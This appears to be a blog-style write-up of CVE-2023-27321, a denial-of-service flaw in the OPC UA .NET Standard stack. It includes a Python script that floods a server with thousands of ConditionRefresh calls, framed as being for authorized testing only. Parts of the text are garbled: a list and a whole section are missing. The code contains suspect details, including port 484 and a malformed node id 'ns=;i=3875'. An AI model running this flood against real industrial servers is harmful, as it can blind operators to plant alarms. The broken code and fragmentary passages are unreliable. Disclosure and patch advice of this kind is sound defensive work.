The Industrial Internet-of-Things (IIoT) is all about automation and connectivity, and at the heart of many automation systems sits OPC UA. Millions around the world trust the OPC Foundation’s UA .NET Standard Stack for secure, reliable device and plant connectivity. But security gaps can hit even the most trusted platforms. Today, we deep dive into CVE-2023-27321, a critical weakness that allows anyone—yes, anyone—to take down an OPC UA server with a simple exploit.
> CVE-2023-27321: OPC Foundation UA .NET Standard ConditionRefresh Resource Exhaustion Denial-of-Service Vulnerability
> Alias: ZDI-CAN-20505
> Severity: HIGH
> Authentication Required: No
> Impact: Denial-of-Service (DoS)
1. What is CVE-2023-27321?
This vulnerability lives in the handling of ConditionRefresh requests by OPC Foundation’s UA .NET Standard reference implementation. In simple terms, when a client asks the server for the current alarm and condition status (using ConditionRefresh), the server works hard to deliver the answer. But when too many requests come in too fast, the server doesn’t know how to say “enough”—instead, it just keeps chewing through resources until it crashes.
Devices, applications, or networks that depend on the server become unresponsive
You can imagine an attacker knocking out an entire factory’s visibility into alarms and process data with almost no effort.
2. Technical Details — Understanding the Flaw
The problem lies with the ConditionRefresh service call, as defined by the OPC UA standard. This call is _supposed_ to let clients request the latest state of “alarms and conditions”—a useful feature for operators and dashboards.
The vulnerable code _fails to throttle_ or check the number of ConditionRefresh calls in a session, and doesn’t limit resource usage. So, a remote attacker can:
Example of a Basic Exploit — Code Snippet
Here’s a Python proof-of-concept using the opcua library to spam ConditionRefresh requests (for educational and authorized testing only):
from opcua import Client
import time
server_url = "opc.tcp://TARGET_SERVER_IP:484" # replace with real target
client = Client(server_url)
client.connect()
try:
# Find the ConditionType node (workaround, varies by server model)
condition_type = client.get_node("i=2782")
for _ in range(10000): # make thousands of requests
# Create ConditionRefresh request (browsing may differ in non-demo servers)
client.uaclient._uaservice.call_method(
client.get_node("i=2253"), # Server object
"ns=;i=3875", # ConditionRefresh method
[condition_type.nodeid] # Pass the type
)
time.sleep(.01) # remove or reduce to increase speed
print("Done spamming ConditionRefresh calls.")
finally:
client.disconnect()
WARNING: Do NOT try this attack on systems you do not own or have explicit permission to test. This code is for illustration and authorized testing only.
Just a network connection to the OPC UA endpoint
Typical scenario:
A disgruntled employee or attacker inside the network runs a script, server goes down, alarms and data don’t flow, operators lose visibility.
4. Mitigation and Fixes
The OPC Foundation has patched this issue in recent versions.
Immediate steps
- Upgrade to the latest version of OPC UA .NET Standard stack (Get it here)
Limits on number of parallel sessions per IP
- Input filter / firewall for suspicious traffic
5. References & Further Reading
- OPC Foundation UA .NET Standard GitHub (Releases & Changelog)
- CVE Details for CVE-2023-27321
- Trend Micro Zero Day Initiative (ZDI-CAN-20505)
OPC Foundation advisory: _(Check official OPC Foundation vulnerabilities page for more info)_
6. Conclusion
CVE-2023-27321 is a reminder: even the best industrial software stacks can fall to simple resource exhaustion flaws. If you run OPC UA servers, update right away and keep an eye on network activity!
Don’t let a flood of ConditionRefresh requests bring your operations to a halt.
Timeline
Published on: 05/07/2024 23:15:15 UTC